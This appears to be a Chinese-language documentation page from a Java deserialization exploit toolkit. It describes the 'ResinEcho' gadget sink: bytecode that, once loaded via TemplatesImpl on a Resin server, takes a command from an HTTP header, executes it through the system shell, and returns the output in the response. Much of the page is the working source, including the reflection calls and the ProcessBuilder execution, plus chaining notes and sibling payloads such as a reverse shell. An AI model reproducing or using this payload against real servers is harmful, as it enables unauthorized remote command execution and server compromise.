Skip to content

Latest commit

 

History

History
75 lines (64 loc) · 4.09 KB

File metadata and controls

75 lines (64 loc) · 4.09 KB

生成 Resin 命令执行明文回显的字节码(ResinEcho)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:ReaJason
  • 依赖:无(运行时反射调用 Resin 内部类,攻击方不引入依赖)

作用

生成一段专用于 Resin 容器的命令回显字节码:运行时通过 ServletInvocation.getContextRequest() 拿到当前请求,从指定 HTTP 请求头取命令、执行、把结果明文写回响应体。属于链尾字节码 sink(END)。

链接标签

  • 入口 tagsBytecodeEchoEND
    • Bytecode:产出原始类字节码,需上游 BytecodeConvert 装入 TemplatesImpl 触发 defineClass
    • Echo:命令回显型 sink。
    • END:链的终点。
  • 衔接 nextTags:空。
  • excludes:空。

源码剖析

gadget 本体仅把回显头名烘焙进模板:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(ResinEchoBytecode.class);
    javassistHelper.modifyStringField("header", this.header);   // 写死回显请求头名
    return javassistHelper.getBytecode();
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // END 环
    return this.getObject();
}

模板类在静态块 new ResinEchoBytecode() 中完成取请求→执行→回显:

public ResinEchoBytecode() {
    try {
        ClassLoader loader = Thread.currentThread().getContextClassLoader();
        Class<?> invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation");
        Object request  = invokeMethod(invocationClazz, "getContextRequest", null, null);  // 取当前请求
        Object response = getFieldValue(request, "_response");                              // 反射取响应
        String data = this.getDataFromReq(request);        // request.getHeader(header)
        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
        try { writer.write(this.run(data)); }              // 执行命令并写回
        catch (Throwable e) { e.printStackTrace(writer); }
        writer.flush(); writer.close();
        invokeMethod(response, "close", null, null);
    } catch (Throwable throwable) {}
}
static { new ResinEchoBytecode(); }

关键点:

  • com.caucho.server.dispatch.ServletInvocation.getContextRequest() 是 Resin 提供的静态方法,能在无 request 引用时拿到当前线程绑定的请求对象——这是本 gadget 只适用于 Resin 的原因。
  • getDataFromReqrequest.getHeader(header) 取命令;run()os.namecmd.exe /c/bin/sh -c,用 ProcessBuilder(...).redirectErrorStream(true) 合并标准/错误输出,Scanner(...).useDelimiter("\\A").next() 读全部结果。
  • 结果经 response.getWriter().write(...) 明文回显;执行异常时把栈打印到响应,便于调试。
  • invokeMethod/getFieldValue 为向父类逐层查找的反射工具,增强对不同 Resin 版本的兼容。

参数(@Param)

字段 名称 说明 默认 可选值
header 请求头 key 携带待执行命令的 HTTP Header 名 X-Authorization 任意

适用版本与原理要点

  • 仅适用于 Resin(Caucho)容器,依赖其 com.caucho.server.dispatch.ServletInvocation 与 request 的 _response 字段。
  • 回显为明文 HTTP:命令在请求头、结果在响应体,流量层可检测。
  • 需上游 TemplatesImpl 系装载器触发字节码,要求目标 JDK 允许 TemplatesImpl 定义类。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可替换 命令执行 类链中的 Exec,与 BytecodeConvert 组合,用于 Resin 环境的回显利用。

关联

  • 上游(消费本 Bytecode 产物):BytecodeConvertTemplatesImpl
  • 同族回显 sink:OneForAllEcho(多容器通用回显)、TomcatEcho/JettyEcho/WebLogicEcho 等单容器回显。
  • 同族命令 sink:ExecReverseShell